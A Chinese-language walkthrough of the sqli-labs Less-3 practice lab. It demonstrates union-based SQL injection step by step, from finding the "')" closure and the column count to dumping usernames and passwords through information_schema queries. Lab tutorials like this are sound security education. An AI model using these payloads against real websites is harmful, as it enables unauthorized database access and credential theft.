SQL注入实例(sqli-labs/less-3)

0、初始页面

1、确定闭合字符

确定为字符型注入

复制代码
?id=1 and 1=1 
?id=1 and 1=2

确定闭合字符为 ')

复制代码
?id=1'
?id=1')

2、确定表的列数

确定查询表的列数为3

复制代码
?id=1') order by 3 --+

3、确定回显位置

确定回显位置为第二列和第三列

复制代码
?id=-1') union select 1,2,3 --+

4、爆库名

当前所在数据库为security

复制代码
?id=-1') union select 1,user(),database() --+

5、爆表名

查看users表

复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

6、爆列名

复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' --+

7、显示最终结果

复制代码
?id=-1%27) union select 1,2,group_concat(username,0x3a,password) from security.users --+
相关推荐
笨蛋不要掉眼泪37 分钟前
Nacos配置中心详解:核心用法、动态刷新与经典面试题解析
java·数据库·后端
@@神农40 分钟前
PostgreSQL-SQL语句的执行过程(一)
数据库·sql·postgresql
Andy Dennis2 小时前
一文漫谈数据库存储之索引(B+, B-link, LSM tree等)
数据库·b+树·lsm-tree
CHANG_THE_WORLD2 小时前
字符串定义的汇编分析
汇编·数据库
数据知道2 小时前
PostgreSQL:如何通过progres_fdw跨库关联查询?
数据库·postgresql
v***57003 小时前
MYSQL 创建索引
数据库·mysql
heimeiyingwang3 小时前
大模型 RAG 技术原理与企业级落地实践
大数据·数据库·人工智能·架构
倔强的石头_5 小时前
【金仓数据库】ksql 指南(七) —— 启动和管理事务(KingbaseES 数据一致性保障)
数据库
志栋智能5 小时前
自动化运维真的只能选复杂平台吗?
运维·网络·数据库·人工智能·自动化
LaughingZhu5 小时前
Product Hunt 每日热榜 | 2026-02-17
大数据·数据库·人工智能·经验分享·搜索引擎